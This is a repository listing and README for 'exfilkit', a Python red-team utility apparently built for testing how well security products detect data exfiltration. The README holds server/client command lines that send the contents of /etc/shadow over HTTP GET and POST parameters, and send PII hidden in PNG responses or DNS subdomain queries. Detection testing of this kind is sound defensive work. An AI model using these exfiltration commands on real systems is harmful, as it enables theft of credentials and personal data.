https://github.com/tasooshi/exfilkit

Data exfiltration utility for testing detection capabilities
https://github.com/tasooshi/exfilkit

cti cybersecurity data-exfiltration exfiltration pentesting red-team security-tools

Last synced: 21 days ago
JSON representation

Data exfiltration utility for testing detection capabilities

• Host: GitHub
• URL: https://github.com/tasooshi/exfilkit
• Owner: tasooshi
• License: mit
• Created: 2020-03-08T18:01:17.000Z (almost 5 years ago)
• Default Branch: master
• Last Pushed: 2022-01-13T14:02:10.000Z (almost 3 years ago)
• Last Synced: 2024-08-05T17:44:59.169Z (4 months ago)
• Topics: cti, cybersecurity, data-exfiltration, exfiltration, pentesting, red-team, security-tools
• Language: Python
• Size: 28.3 KB
• Stars: 58
• Watchers: 6
• Forks: 18
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

• awesome-hacking-lists - tasooshi/exfilkit - Data exfiltration utility for testing detection capabilities (Python)

README

        
# exfilkit

> Data exfiltration utility for testing detection capabilities

## Description

Data exfiltration utility used for testing detection capabilities of security products. Obviously for legal purposes only.

## Exfiltration How-To

### /etc/shadow -> HTTP GET requests

#### Server

    # ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log

#### Client

    $ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

### /etc/shadow -> HTTP POST requests

#### Server

    # ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTServer -lp 80 -o output.log

#### Client

    $ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

### PII -> PNG embedded in HTTP Response

#### Server

    $ ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Server -lp 37650 -o output.log

#### Client

    # ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

### PII -> DNS subdomains querying

#### Server

    # ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

#### Client

    $ ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r